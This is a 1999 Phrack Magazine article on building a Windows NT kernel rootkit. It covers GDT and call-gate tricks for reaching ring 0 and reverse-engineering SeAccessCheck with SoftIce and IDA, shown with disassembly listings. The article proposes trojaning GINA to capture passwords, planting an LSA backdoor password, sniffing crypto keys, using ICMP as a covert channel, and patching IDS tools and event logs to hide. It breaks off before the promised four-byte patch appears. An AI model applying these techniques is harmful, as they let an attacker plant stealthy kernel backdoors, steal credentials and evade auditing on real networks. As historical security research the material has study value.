1688 lines
65 KiB
Plaintext
1688 lines
65 KiB
Plaintext
-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 05 of 19 ]
|
||
|
||
|
||
-------------------------[ A *REAL* NT Rootkit, patching the NT Kernel ]
|
||
|
||
|
||
--------[ Greg Hoglund <hoglund@ieway.com> ]
|
||
|
||
|
||
Introduction
|
||
------------
|
||
|
||
First of all, programs such as Back Orifice and Netbus are NOT rootkits. They
|
||
are amateur versions of PC-Anywhere, SMS, or a slew of other commercial
|
||
applications that do the same thing. If you want to remote control a
|
||
workstation, you could just as easily purchase the incredibly powerful SMS
|
||
system from Microsoft. A remote-desktop/administration application is NOT a
|
||
rootkit.
|
||
|
||
What is a rootkit? A rootkit is a set of programs which *PATCH* and *TROJAN*
|
||
existing execution paths within the system. This process violates the
|
||
*INTEGRITY* of the TRUSTED COMPUTING BASE (TCB). In other words, a rootkit is
|
||
something which inserts backdoors into existing programs, and patches or breaks
|
||
the existing security system.
|
||
|
||
- A rootkit may disable auditing when a certain user is logged on.
|
||
- A rootkit could allow anyone to log in if a certain "backdoor" password is
|
||
used.
|
||
- A rootkit could patch the kernel itself, allowing anyone to run privileged
|
||
code if they use a special filename.
|
||
|
||
The possibilities are endless, but the point is that the "rootkit" involves
|
||
itself in pre-existing architecture, so that it goes un-noticed. A remote
|
||
administration application such as PC Anywhere is exactly that, an application.
|
||
A rootkit, on the other hand, patches the already existing paths within the
|
||
target operating system.
|
||
|
||
To illustrate this, I have included in this document a 4-byte patch to the NT
|
||
kernel that removes ALL security restrictions from objects within the NT
|
||
domain. If this patch were applied to a running PDC, the entire domain's
|
||
integrity would be violated. If this patch goes unnoticed for weeks or even
|
||
months, it would be next to impossible to determine the damage.
|
||
|
||
|
||
Network based security & the Windows NT Trust Domain
|
||
----------------------------------------------------
|
||
|
||
If you know much about the NT Kernel, you know that one of the executive
|
||
components is called the Security Reference Monitor (SRM). The DoD Red Book
|
||
also defines a "Security Reference Monitor". We are talking the same language.
|
||
In the Red Book, a security domain is managed by a single entity.
|
||
|
||
To Quote:
|
||
"A single trusted system is accredited as a single entity by a single
|
||
accrediting authority. A ``single trusted system'' network implements a
|
||
reference monitor to enforce the access of subjects to objects in accordance
|
||
with an explicit and well defined network security policy [DoD Red Book]."
|
||
|
||
In NT parlance, that is called the Primary Domain Controller (PDC). Remember
|
||
that every system has local security and domain security. In this case, we are
|
||
talking about the domain security. The PDC's "Security Reference Monitor" is
|
||
responsible for managing all of the objects within the domain. In doing this,
|
||
it creates a single point of control, and therefore a "single trusted system"
|
||
network.
|
||
|
||
|
||
How to violate system integrity
|
||
-------------------------------
|
||
|
||
I know this is alot of book theory, but bear with me just a bit longer. The
|
||
DoD Orange Book also defines a "Trusted Computing Base" (TCB). If you are an
|
||
NT programmer, then you have likely worked with the security privilege
|
||
SE_TCB_PRIVILEGE. That privilege maps to the more familiar "act as part of the
|
||
Operating System" User-Right. Using the User Administrator for NT you can
|
||
actually add this privilege to a user.
|
||
|
||
If you have the ability to act as part of the TCB, you can basically do
|
||
anything. There is very little security implemented between your process and
|
||
the rest of the machine. If the TCB can no longer be trusted, then the
|
||
integrity of the entire network system is shot. The patch I am about to show
|
||
you is an example of this. The patch, if installed on a Workstation, violates
|
||
a network "partition". The patch, if installed on a PDC, violates the entire
|
||
network's integrity.
|
||
|
||
What is a partition?
|
||
|
||
The Red Book breaks the network into NTCB (Network Trusted Computing Base)
|
||
"Partitions". Any single component or machine on the network may be considered
|
||
a "partition". This makes it convenient for analysis.
|
||
|
||
To Quote:
|
||
"An NTCB that is distributed over a number of network components is referred
|
||
to as partitioned, and that part of the NTCB residing in a given component is
|
||
referred to as an NTCB partition. A network host may possess a TCB that has
|
||
previously been evaluated as a stand-alone system. Such a TCB does not
|
||
necessarily coincide with the NTCB partition in the host, in the sense of
|
||
having the same security perimeter [DoD Red Book]."
|
||
|
||
On the same host you may have two unique regions, the TCB, which is the
|
||
traditional Orange Book evaluation for Trusted Computing Base, and the NTCB.
|
||
These partitions do not have to overlap, but they can. If any component of one
|
||
is violated, it is likely that the other is as well. In other words, if a host
|
||
is compromised, the NTCB may also be compromised.
|
||
|
||
Obviously to install a patch over the TCB, you must already be Administrator,
|
||
or have the ability to install a device driver. Given that Trojans and Virii
|
||
work so well, it would be very easy to cause this patch to be installed w/o
|
||
someone's knowledge.
|
||
|
||
|
||
Imagine an exploit
|
||
------------------
|
||
|
||
Before I digress into serious techno-garble, consider some of the attacks that
|
||
are possible by patching the NT kernel. All of these are possible because we
|
||
have violated the TCB itself:
|
||
|
||
1. Insert invalid data. Invalid data can be inserted into any network stream.
|
||
It can also introduce errors into the fixed storage system, perhaps subtly
|
||
over time, such that even the backups get corrupted. This violates
|
||
reliability & integrity.
|
||
|
||
2. Patch incoming ICMP. Using ICMP as a covert channel, the patch can read
|
||
ICMP packets coming into the kernel for embedded commands.
|
||
|
||
3. Patch incoming ethernet. It can act as a sniffer, but without all of the
|
||
driver components. If it has patched the ethernet, then it can also stream
|
||
data in/out of the network. It can sniff crypto keys.
|
||
|
||
4. Patch existing DLL's, such as wininet.dll, capturing important data.
|
||
|
||
5. Patch the IDS system. It can patch a program such as Tripwire or
|
||
RealSecure to violate its integrity, rendering the program unable to detect
|
||
the nastiness...
|
||
|
||
6. Patch the auditing system, i.e., event log, to ignore certain event log
|
||
messages.
|
||
|
||
Now for the rare steak. Let's delve into an actual kernel patch. If you
|
||
already understand protected mode and the global descriptor table, then you can
|
||
skip this next section. Otherwise put on your hiking boots, there are a couple
|
||
of switchbacks ahead.
|
||
|
||
|
||
Rings of Power
|
||
--------------
|
||
|
||
Windows NT is unlike DOS or Windows 95 in that it has process-space security.
|
||
Every user-mode process has an area of memory that is protected by a Security
|
||
Descriptor. Usually this SD is determined from the Access Token of the user
|
||
that started the process. Access to all objects is handled through a "Access
|
||
Control List". For Windows NT, this is called "Discretionary Access Control".
|
||
Personally I find it really hard to grasp something if I don't understand it's
|
||
most basic details. So, this next section describes the very foundation that
|
||
makes security possible on the x86 architecture.
|
||
|
||
First, it is important to understand "protected mode". Protected mode can only
|
||
be understood by memory addressing. Almost all of the expanded capabilities of
|
||
the x86 processor are built upon memory addressing. Protected mode gives you
|
||
access to a 4 GB memory space. Multitasking and privilege levels are all
|
||
based upon tricks with memory addressing. This discussion only applies to 386
|
||
and beyond.
|
||
|
||
Memory is divided into code and data segments. In protected mode, all memory
|
||
is addressed as a segment + an offset. Conversely, in real mode, everything is
|
||
interpreted as an actual address. For our discussion, we only care about
|
||
protected mode. In protected mode things get a little more complicated. We
|
||
must address first the segment, followed by an offset into that segment. It
|
||
is sort of a two step process. Why is this interesting?? This is how most
|
||
modern operating systems work, and it is important for exploits and Virii. Any
|
||
modern mobile code must be able to work within this arena.
|
||
|
||
What is a selector?
|
||
|
||
A selector is just a fancy word for a memory segment. Memory segments are
|
||
organized by a table. These table entries are often called descriptors. So,
|
||
remember, a selector is-a segment is-a descriptor. It's all the same thing.
|
||
|
||
If you understand how the memory segments are kept track of, then you pretty
|
||
much understand the whole equation. Every memory segment is first a virtual
|
||
address (16-bits) plus an offset from that address (32-bits). A segment is not
|
||
an actual address, like in realmode, but the number of a selector it wants to
|
||
use. A selector is usually a small integer number. This small number is an
|
||
offset into a table of descriptors. In turn, the descriptor itself then has
|
||
the actual linear address of the beginning of the memory segment. In addition
|
||
to that, the descriptor has the access privilege of the memory segment.
|
||
|
||
Descriptors are stored in a table called the Global Descriptor Table (GDT).
|
||
Each descriptor has a Descriptor Privilege Level (DPL), indicating what ring
|
||
the memory segment runs in.
|
||
|
||
Suffice it to say, the selector is your vehicle. Under NT and 95, there
|
||
are selectors which cover the entire 4GB address range. If you were using
|
||
one of these selectors, you could walk all over the memory map from 0 to
|
||
whatever. These selectors do exist, and they are protected by a DPL of 0.
|
||
Under Windows 9x, selector 28 is a ring 0 that covers the entire 4gb region.
|
||
Under NT, selectors 8 and 10 achieve the same purpose.
|
||
|
||
Dumping the GDT from SoftIce produces a table similar to this:
|
||
|
||
GDTBase=80036000 Limit=0x03FF
|
||
|
||
0008 Code32 00000000 FFFFFFFF 0 P RE
|
||
0010 Data32 00000000 FFFFFFFF 0 P RW
|
||
001B Code32 00000000 FFFFFFFF 3 P RE
|
||
0023 Data32 00000000 FFFFFFFF 3 P RW
|
||
0028 TSS32 8001D000 000020AB 0 P B
|
||
0048 Reserved 00000000 00000000 0 NP
|
||
0060 Data16 00000400 0000FFFF 3 P RW
|
||
etc, etc ....
|
||
|
||
You can see what segment you are currently using by checking the CPU registers.
|
||
The registers SS, DS, and CS indicate which selectors are being used for Stack
|
||
Segment, Code Segment, and Data Segment. The stack and code segments must be
|
||
in the same ring.
|
||
|
||
1. Segments can overlap one another. In other words, more than one segment can
|
||
represent the same address-space. Segments can overlap one another wholly, or
|
||
only in part. The address range for a segment is important, of course, but
|
||
there is other delicious information we care about. For instance, a segment
|
||
also has a Privilege Level (DPL).
|
||
|
||
---- ----
|
||
| | | |
|
||
| | | |
|
||
| | ----
|
||
| | ----
|
||
| | | |
|
||
| | | |
|
||
---- | |
|
||
| |
|
||
----
|
||
|
||
What is a DPL?
|
||
|
||
Descriptor Privilege Level. This is important to understand. Every memory
|
||
segment is protected by a privilege level, often called a "ring". The Intel
|
||
processor has 4 rings, 0 through 3, usually only ring 0 and 3 are used. Lower
|
||
ring levels have more privilege. In order to access a memory segment, the
|
||
caller must have a current privilege level equal to or lower than the one being
|
||
accessed. Current privilege level is often called CPL, and descriptor
|
||
privilege level is often called DPL.
|
||
|
||
This type of protection is a requirement for almost any security architecture.
|
||
In the old days of DOS, mobile code such as virii were able to hook interrupts
|
||
and execute any code at whim. They were walking all over the memory map at
|
||
will. No such luck with the advent of Windows NT. There's a gaping need for
|
||
Windows NT exploits that can take advantage of the old tricks. The central
|
||
problem is that most code is executing within user mode, and has not access to
|
||
ring 0, and therefore no access to the Interrupt Descriptor Table or the
|
||
memory map as a whole.
|
||
|
||
Under NT, the access to ring 0 is controlled from the right to add your own
|
||
selector to the GDT. When you transition to ring 0, you are still in protected
|
||
mode and the Virtual Memory Manager is still operating.
|
||
|
||
Lets suppose you have written a virus that patches the Global Descriptor Table
|
||
(GDT) and adds a new descriptor. This new descriptor describes a memory
|
||
segment that covers the entire range of the map, from 0 to FFFFFFFF___. The
|
||
DPL of the descriptor is 0, so any code running from it can access other ring-0
|
||
segments. In fact, it can access the entire map. A DPL 0 memory segment
|
||
marked as "conforming" will violate integrity. The sensitivity label, in this
|
||
regard, would be the DPL. The fact it is conforming violates the DPL's of
|
||
other segments, if they overlap.
|
||
|
||
If your descriptor is marked conforming, it can be called freely from ring-3
|
||
(user mode). This new entry goes unnoticed, of course. Who monitors the GDT
|
||
on their system? Most people don't even know what that is. There are few IDS
|
||
systems that monitor this type of information. Now you have effectively placed
|
||
a backdoor into the memory map. You could be running under any process token,
|
||
and have full read/write access to the map. This means reading/writing other
|
||
important tables, such as the Interrupt Table. This means reading other
|
||
procii's protected memory. This means infecting other files and procii w/ your
|
||
virii at whim.
|
||
|
||
|
||
Patching the SRM
|
||
----------------
|
||
|
||
The Security Reference Monitor is responsible for enforcing access control.
|
||
Under NT, all of the SRM functions are handled by ntoskrnl.exe. If the
|
||
integrity of that code were violated, then the SRM could no longer be trusted.
|
||
The whole security system has failed.
|
||
|
||
The Security Reference Monitor is responsible for saying Yes/No to any object
|
||
access. It consults a process table to determine your current running process'
|
||
access token. It then compares the access token with the required access of
|
||
the object. Every object has a Security Descriptor (SD). Your running
|
||
process has an Access Token. Comparing these two structures, the SRM is able
|
||
to deny or allow you access to the object.
|
||
|
||
orange book:
|
||
"In October of 1972, the Computer Security Technology Planning Study, conducted
|
||
by James P. Anderson & Co., produced a report for the Electronic Systems
|
||
Division (ESD) of the United States Air Force.[1] In that report, the concept
|
||
of "a reference monitor which enforces the authorized access relationships
|
||
between subjects and objects of a system" was introduced. The reference
|
||
monitor concept was found to be an essential element of any system that would
|
||
provide multilevel secure computing facilities and controls."
|
||
|
||
It then listed the three design requirements that must be met by a reference
|
||
validation mechanism:
|
||
a. The reference validation mechanism must be tamper proof.
|
||
b. The reference validation mechanism must always be invoked.
|
||
c. The reference validation mechanism must be small enough to be
|
||
subject to analysis and tests, the completeness of which can
|
||
be assured."[1]
|
||
|
||
The SRM is *NOT* tamper proof. It may be protected by the TCB security
|
||
privilege, but I suggest that the only truly tamper-proof SRM is going to use
|
||
cryptographic mechanisms. Using an attack vector such as Virii or Trojan's, a
|
||
patch could easily be placed within the TCB.
|
||
|
||
You can patch the SRM itself if you have access to the map. In this, you can
|
||
insert a backdoor such that a certain user-id ALWYAS has access. However, this
|
||
does not require you to edit the user's security level in any way. You are
|
||
patching it at the access point, not the source. So, auditing programs will
|
||
not be able to notice the problem. This is a simple trick that could be
|
||
employed in any NT RootKit.
|
||
|
||
There are several key components to the NT Kernel. They are sometimes
|
||
referred to as the "NT Executive". The NT executive is really a group of
|
||
individual components with a well defined interface. Each component has such a
|
||
well defined interface, in fact, that you could actually take it out completely
|
||
and replace it with a new one. As long as the new component implemented all of
|
||
the same interfaces, then the system would continue to function. The following
|
||
are all components of the NT Executive:
|
||
|
||
HAL: Hardware Abstraction Layer, HAL.DLL
|
||
NTOSKERNL: Contains several components, NTOSKRNL.EXE
|
||
The Virtual Memory Manager (VMM)
|
||
The Security Reference Monitor (SRM)
|
||
The I/O Manager
|
||
The Object Manager
|
||
The Process and Thread Manager
|
||
The Kernel Services themselves
|
||
-(Exception handling and runtime library)
|
||
LPC Manager (Local Procedure Call)
|
||
|
||
Hey, these are some of the modules listed when a Blue Screen occurs! The
|
||
system is just a big memory map!
|
||
|
||
With all of this data we are bound to find structures of interest! Many key
|
||
data structures are crucial to security. Once we know what we are looking for,
|
||
we can get into SoftIce and start poking around. A list of the exported
|
||
functions for some of these components is in Appendix A.
|
||
|
||
Using a tool such as SoftIce, reverse engineering the SRM and other components
|
||
is easy ;) The methodology is simple. First, we must find the component we
|
||
are interested in. They all sit in system memory at some point...
|
||
|
||
Some key data structures are:
|
||
ACL (Access Control List), contains ACE's
|
||
ACE (Access Control Entry), has a 32-bit Access Mask and a SID
|
||
SID (Security Identifier), a big number
|
||
PTE (Page Table Entry)
|
||
SD (Security Descriptor), has an Owner SID, a Group SID, and an ACL
|
||
AT (Access Token)
|
||
|
||
Now for some tricks! The first thing we need to do is identify which of these
|
||
data structures we will be using. If we want to reverse engineer the Security
|
||
Reference Monitor, then we can be assured that our SID is going to be used in
|
||
some call somewhere.. This is where SoftIce comes in. SoftIce has an
|
||
incredible feature called expressions. SoftIce will let you define a regular
|
||
expression to be evaluated for a breakpoint. In other words, I can tell
|
||
SoftIce to break if only a special set of circumstances has occurred.
|
||
|
||
So, for example (working implementation):
|
||
|
||
1. I want softice to break if the ESI register references my SID. Since a SID
|
||
is many words long, I will have to define the expression in several portions:
|
||
|
||
bpx (ESI->0 == 0x12345678) && (ESI->4 == 0x90123456) && (ESI->8 == 0x78901234)
|
||
|
||
What I have done here is tell softice to break if the ESI register points to
|
||
the data: 0x123456789012345678901234. Notice how I use the -> operator to
|
||
offset ESI for each word.
|
||
|
||
Now, try to access an object. SoftIce will promptly break when your SID is
|
||
used in a call.
|
||
|
||
There are many system components that are worth reverse engineering. You may
|
||
also want to play with the following:
|
||
1. GINA, (GINA.DLL) The logon screen you see when you type your
|
||
password. Imagine if this component was trojaned.. A Virii could
|
||
capture passwords across the enterprise.
|
||
2. LSA (The Local System Authority) This is the module responsible for
|
||
querying the SAM database. This would be an ideal place to put a
|
||
rootkit-password that *ALWAYS* allows you access to the system.
|
||
3. SSDT, The System Service Descriptor Table
|
||
4. GDT, the Global Descriptor Table
|
||
5. IDT, the Interrupt Descriptor Table
|
||
|
||
|
||
Getting to ring zero in the first place
|
||
---------------------------------------
|
||
|
||
User mode is very limiting under NT. Your process is bound by the selector it
|
||
is currently using. The process cannot simply waltz over the entire memory
|
||
map. As we have discussed, the process must first load a selector. You cannot
|
||
simply read memory from 0 to FFF_, you can only access your own memory segment.
|
||
|
||
There are tricks however. If the process is running under a user token that
|
||
has "add service" privilege, then you can create your own call gate, install
|
||
it in realtime, and then use it to run your code ring 0. Once you are running
|
||
ring 0 you can patch the IDT or the Kernel. This is how User-Mode normally
|
||
accesses a Ring-0 Code Segment. If you don't want to go to this trouble,
|
||
you can upload a byte patcher that runs in ring zero on boot. This is as
|
||
simple as writing a driver and installing to run on the next reboot.
|
||
However, installing your own call-gate is by far the most sexy.
|
||
|
||
Lets talk sexy. The answer is a call gate. All of the functions provided by
|
||
NTDLL.DLL are implemented this way. This is why you must call Int 2Eh to make
|
||
a call. The entire set of Int 2Eh functions are known as the Native Call
|
||
Interface (NCI). What really happens is the Int 2Eh is handled by a function
|
||
in NTOSKRNL.EXE. This function is called KiSystemService().
|
||
KiSystemService() routes the call to the proper code location.
|
||
|
||
When you make a system call, you must first load the index of the function you
|
||
wish to call. This is loaded into register EAX. Next, if the call takes
|
||
parameters, a pointer to this block is loaded into EDX. Interrupt 2Eh is
|
||
called, and EAX holds the return value. This is old hat to most assembler
|
||
programmers.
|
||
|
||
What is not obvious is how this is implemented in the Kernel. The function
|
||
KiSystemService() is called, and left with the responsibility for dispatching
|
||
the call. KiSystemService() must first determine *WHAT* function to call next,
|
||
based on what we put in EAX. So, to this end, it maintains a table of
|
||
functions and their index numbers.. imagine that! SofIce will dump this table
|
||
if your interested. It looks something like:
|
||
|
||
:ntcall
|
||
Service table address: 80149398 Number of services:000000D4
|
||
0000 0008:8017451E params=06 ntoskrnl!NtConnectPort+0834
|
||
0001 0008:80199C16 params=08 ntoskrnl!SeQueryAuthenticationIdToken+04B8
|
||
0002 0008:8019B3A2 params=0B ntoskrnl!SePrivilegeObjectAuditAlarm+02B0
|
||
0003 0008:80158E50 params=02 ntoskrnl!NtAddAtom
|
||
0004 0008:80197624 params=06 ntoskrnl!NtAdjustPrivilegesToken+0422
|
||
0005 0008:80197202 params=06 ntoskrnl!NtAdjustPrivilegesToken
|
||
0006 0008:80196256 params=02 ntoskrnl!PsGetProcessExitTime+1848
|
||
0007 0008:8019620E params=01 ntoskrnl!PsGetProcessExitTime+1800
|
||
0008 0008:8015901E params=01 ntoskrnl!NtAllocateLocallyUniqueId
|
||
0009 0008:801592EC params=03 ntoskrnl!NtAllocateUuids
|
||
000A 0008:8017B0F6 params=06 ntoskrnl!NtAllocateVirtualMemory
|
||
000B 0008:8011B8E4 params=03 ntoskrnl!ZwYieldExecution+08AC
|
||
etc etc...
|
||
|
||
Well, this is all very interesting, but where is this table stored? How does
|
||
SoftIce manage to read it? Of course, it's all undocumented ;-) Here I have
|
||
no one to thank more than my friend from Sri Lanka, a fellow Rhino9 member, who
|
||
goes by the handle Joey__. His paper on extending the NCI is nothing less than
|
||
mind-blowing. I draw heavily upon his research for this section. I feel this
|
||
paper could not be complete without going over call-gates and the NCI, so I
|
||
paraphrase some of his work. For more detailed information on adding your own
|
||
system services, read his paper entitled "Adding New Services to the NT Kernel
|
||
Native API".
|
||
|
||
A very interesting thing happens when you boot NT. You start with about 200
|
||
functions in the NCI. These are all implemented in NTOSKRNL.EXE. But, soon
|
||
afterwards, another 500 or so functions are added to the NCI, these being
|
||
implemented in WIN32K.SYS. The fact that additional functions were added
|
||
proves that it is possible to register new functions into the NCI during
|
||
runtime.
|
||
|
||
The table that SoftIce dumps when you type NTCALL is called the System Service
|
||
Descriptor Table (SSDT). The SSDT is what the KiSystemService() function uses
|
||
to look up the proper function for a Int 2Eh call. Given that the NCI is
|
||
extensible, it must be possible to add new functions to this table.
|
||
|
||
As it turns out, there are actually multiple tables. WIN32K.SYS doesn't
|
||
actually add to the EXISTING system table, but creates a whole NEW one with 500
|
||
or so functions, and then ADDS it to the Kernel. To do this, it calls the
|
||
exported function KeAddSystemServiceTable(). So, in a nutshell, all we have to
|
||
do is create a new table with OUR functions and do the same thing.
|
||
|
||
Another angle on this involves adding our functions to the existing NCI table.
|
||
But, this involves patching memory. Again, that's what we do best. To pull
|
||
this trick off cleanly, we must allocate new memory large enough to hold the
|
||
old tables plus our additional entries. We then must copy the old tables
|
||
into our new memory, add our entries, and then patch memory so that
|
||
KiSystemService() looks at our new table.
|
||
|
||
|
||
The FOUR-Byte Patch
|
||
-------------------
|
||
|
||
Okay, lesson number one. Don't make yourself do extra work when you don't have
|
||
to. This is the story of my life. I started this project by reversing the
|
||
RtlXXX subroutines. For instance, there is a routine called
|
||
RtlGetOwnerSecurityDescriptor(). This is a simple utility function that
|
||
returns the Owner SID for a given security descriptor. I patched this routine
|
||
to check for the BUILTIN\Administrators group, and alter it to be the
|
||
BUILTIN\Users group. Although this patch works, it doesn't help me obtain
|
||
access to protected files and shares. The RTL routine is only called for
|
||
Process and Thread creation, it would seem. So, to make a long story short, I
|
||
have included the RTLXXX information and patch below. It will illustrate a
|
||
working kernel patch and should help you see my thought process as I 0wned a
|
||
key kernel function.
|
||
|
||
Okay, lesson number two. If at first you don't succeed, try another function.
|
||
This time I got very wise and decided to test a number of breakpoints in the
|
||
Kernel before doing any extra work. Because I wanted to circumvent access to a
|
||
file directly, I moved directly onward to the SeAccessCheck() function. Up
|
||
front, I set a breakpoint on this function to make sure it is being called when
|
||
accessing a file. To my excitement, it appears this function is called for
|
||
almost any object access, not just a file. This means network shares as well.
|
||
Going further, I tested my next patch against network share access as well as
|
||
file access. I created a test directory, shared it over the network, and
|
||
created a test file within that directory.
|
||
|
||
At first, the file had the default Everyone FULL CONTROL permissions. I set a
|
||
breakpoint on SeAccessCheck() and attempted to cat the file. For this simple
|
||
command the function is called three times:
|
||
|
||
Break due to BPX ntoskrnl!SeAccessCheck (ET=2.01 seconds)
|
||
:stack
|
||
Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D1C)
|
||
=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711734)
|
||
Break due to BPX ntoskrnl!SeAccessCheck (ET=991.32 microseconds)
|
||
:stack
|
||
Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711CB8)
|
||
=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD7116D8)
|
||
Break due to BPX ntoskrnl!SeAccessCheck (ET=637.15 microseconds)
|
||
:stack
|
||
Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D08)
|
||
=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711720)
|
||
|
||
Next I set the file access to Administrator NO ACCESS. Attempting to cat the
|
||
file locally resulted in an "Access Denied" message. The routine is called 13
|
||
times before the Access Denied message is given. Now I try to access it over
|
||
the network. The function is called a total of 18 times before a Access Denied
|
||
message is given. It would seem it takes alot more work to deny access than it
|
||
does to give it. ;)
|
||
|
||
I was lit now, it looked like I had my target. After another 2 shots of
|
||
espresso, I dumped the IDA file for SeAccessCheck, busted into SoftIce and
|
||
started exploring:
|
||
|
||
To make things simpler, I have removed some of the assembly code that is not
|
||
part of my discussion. If you are going to start playing with this, then you
|
||
should disassemble all of this yourself nonetheless. I recommend IDA. At
|
||
first I tried WDAsm32, but it was unable to decompile the ntoskrnl.exe
|
||
binary properly. IDA, on the other hand, had no problems. WDAsm32 has a
|
||
much nicer GUI interface, but IDA has proved more reliable. Just as most
|
||
engineers, I use many tools to get the job done, so I recommend having both
|
||
disassemblers around.
|
||
|
||
|
||
The function & patches:
|
||
8019A0E6 ; Exported entry 816. SeAccessCheck
|
||
8019A0E6
|
||
8019A0E6 ;
|
||
===========================================================================
|
||
8019A0E6
|
||
8019A0E6 ; S u b r o u t i n e
|
||
8019A0E6 ; Attributes: bp-based frame
|
||
8019A0E6
|
||
8019A0E6 public SeAccessCheck
|
||
8019A0E6 SeAccessCheck proc near
|
||
8019A0E6 ; sub_80133D06+B0p ...
|
||
8019A0E6
|
||
8019A0E6 arg_0 = dword ptr 8 ; appears to point to a
|
||
; Security Descriptor
|
||
8019A0E6 arg_4 = dword ptr 0Ch
|
||
8019A0E6 arg_8 = byte ptr 10h
|
||
8019A0E6 arg_C = dword ptr 14h
|
||
8019A0E6 arg_10 = dword ptr 18h
|
||
8019A0E6 arg_14 = dword ptr 1Ch
|
||
8019A0E6 arg_18 = dword ptr 20h
|
||
8019A0E6 arg_1C = dword ptr 24h
|
||
8019A0E6 arg_20 = dword ptr 28h
|
||
8019A0E6 arg_24 = dword ptr 2Ch
|
||
8019A0E6
|
||
8019A0E6 push ebp
|
||
8019A0E7 mov ebp, esp
|
||
8019A0E9 push ebx
|
||
8019A0EA push esi
|
||
8019A0EB push edi
|
||
8019A0EC cmp byte ptr [ebp+arg_1C], 0
|
||
8019A0F0 mov ebx, [ebp+arg_C]
|
||
8019A0F3 jnz short loc_8019A137
|
||
8019A0F5 test ebx, 2000000h
|
||
8019A0FB jz short loc_8019A11D
|
||
8019A0FD mov eax, [ebp+arg_18]
|
||
8019A100 mov edi, [ebp+arg_20]
|
||
8019A103 mov ecx, ebx
|
||
8019A105 mov eax, [eax+0Ch]
|
||
8019A108 and ecx, 0FDFFFFFFh
|
||
8019A10E mov [edi], eax
|
||
8019A110 or ecx, eax
|
||
8019A112 mov eax, [ebp+arg_10]
|
||
8019A115 or eax, ecx
|
||
8019A117 mov [edi], ecx
|
||
8019A119 mov [edi], eax
|
||
8019A11B jmp short loc_8019A13A
|
||
8019A11D ;
|
||
===========================================================================
|
||
8019A11D
|
||
8019A11D loc_8019A11D: ; CODE XREF: SeAccessCheck+15
|
||
8019A11D mov eax, [ebp+arg_10]
|
||
8019A120 mov edi, [ebp+arg_20]
|
||
8019A123 or eax, ebx
|
||
8019A125 mov edx, [ebp+arg_24]
|
||
8019A128 mov [edi], eax
|
||
8019A12A mov al, 1
|
||
8019A12C mov dword ptr [edx], 0
|
||
8019A132 jmp loc_8019A23A
|
||
8019A137 ;
|
||
===========================================================================
|
||
8019A137
|
||
8019A137 loc_8019A137: ; CODE XREF: SeAccessCheck+D
|
||
8019A137 mov edi, [ebp+arg_20]
|
||
8019A13A
|
||
8019A13A loc_8019A13A: ; CODE XREF: SeAccessCheck+35
|
||
8019A13A cmp [ebp+arg_0], 0
|
||
8019A13E jnz short loc_8019A150
|
||
8019A140 mov edx, [ebp+arg_24]
|
||
8019A143 xor al, al
|
||
; STATUS_ACCESS_DENIED not hit
|
||
; under normal means
|
||
8019A145 mov dword ptr [edx], 0C0000022h
|
||
8019A14B jmp loc_8019A23A
|
||
8019A150 ;
|
||
===========================================================================
|
||
8019A150
|
||
8019A150 loc_8019A150: ; CODE XREF: SeAccessCheck+58
|
||
8019A150 mov esi, [ebp+arg_4]
|
||
8019A153 cmp dword ptr [esi], 0
|
||
8019A156 jz short loc_8019A16E
|
||
8019A158 cmp dword ptr [esi+4], 2
|
||
8019A15C jge short loc_8019A16E
|
||
8019A15E mov edx, [ebp+arg_24]
|
||
8019A161 xor al, al
|
||
; STATUS_BAD_IMPERSONATION_LEVEL
|
||
; not normally hit
|
||
8019A163 mov dword ptr [edx], 0C00000A5h
|
||
8019A169 jmp loc_8019A23A
|
||
8019A16E ;
|
||
===========================================================================
|
||
8019A16E
|
||
8019A16E loc_8019A16E: ; CODE XREF: SeAccessCheck+70
|
||
8019A16E ; SeAccessCheck+76
|
||
8019A16E test ebx, ebx
|
||
8019A170 jnz short loc_8019A1A0
|
||
8019A172 cmp [ebp+arg_10], 0
|
||
8019A176 jnz short loc_8019A188
|
||
8019A178 mov edx, [ebp+arg_24]
|
||
8019A17B xor al, al
|
||
; STATUS_ACCESS_DENIED not
|
||
; normally hit
|
||
8019A17D mov dword ptr [edx], 0C0000022h
|
||
8019A183 jmp loc_8019A23A
|
||
8019A188 ;
|
||
===========================================================================
|
||
8019A188
|
||
8019A188 loc_8019A188: ; CODE XREF: SeAccessCheck+90
|
||
8019A188 mov eax, [ebp+arg_10]
|
||
8019A18B xor ecx, ecx
|
||
8019A18D mov edx, [ebp+arg_24]
|
||
8019A190 mov [edi], eax
|
||
8019A192 mov eax, [ebp+arg_14]
|
||
8019A195 mov [edx], ecx
|
||
8019A197 mov [eax], ecx
|
||
8019A199 mov al, 1
|
||
8019A19B jmp loc_8019A23A
|
||
8019A1A0 ;
|
||
===========================================================================
|
||
8019A1A0
|
||
8019A1A0 loc_8019A1A0: ; CODE XREF: SeAccessCheck+8A
|
||
8019A1A0 cmp [ebp+arg_8], 0
|
||
8019A1A4 jnz short loc_8019A1AC
|
||
8019A1A6 push esi
|
||
8019A1A7 call SeLockSubjectContext
|
||
8019A1AC
|
||
8019A1AC loc_8019A1AC: ; CODE XREF: SeAccessCheck+BE
|
||
8019A1AC test ebx, 2060000h
|
||
8019A1B2 jz short loc_8019A1EA
|
||
8019A1B4 mov eax, [esi]
|
||
8019A1B6 test eax, eax
|
||
8019A1B8 jnz short loc_8019A1BD
|
||
8019A1BA mov eax, [esi+8]
|
||
8019A1BD
|
||
8019A1BD loc_8019A1BD: ; CODE XREF: SeAccessCheck+D2
|
||
8019A1BD push 1
|
||
8019A1BF push [ebp+arg_0]
|
||
8019A1C2 push eax
|
||
8019A1C3 call sub_8019A376
|
||
8019A1C8 test al, al
|
||
8019A1CA jz short loc_8019A1EA
|
||
8019A1CC test ebx, 2000000h
|
||
8019A1D2 jz short loc_8019A1DA
|
||
8019A1D4 or byte ptr [ebp+arg_10+2], 6
|
||
8019A1D8 jmp short loc_8019A1E4
|
||
8019A1DA ;
|
||
===========================================================================
|
||
8019A1DA
|
||
8019A1DA loc_8019A1DA: ; CODE XREF: SeAccessCheck+EC
|
||
8019A1DA mov eax, ebx
|
||
8019A1DC and eax, 60000h
|
||
8019A1E1 or [ebp+arg_10], eax
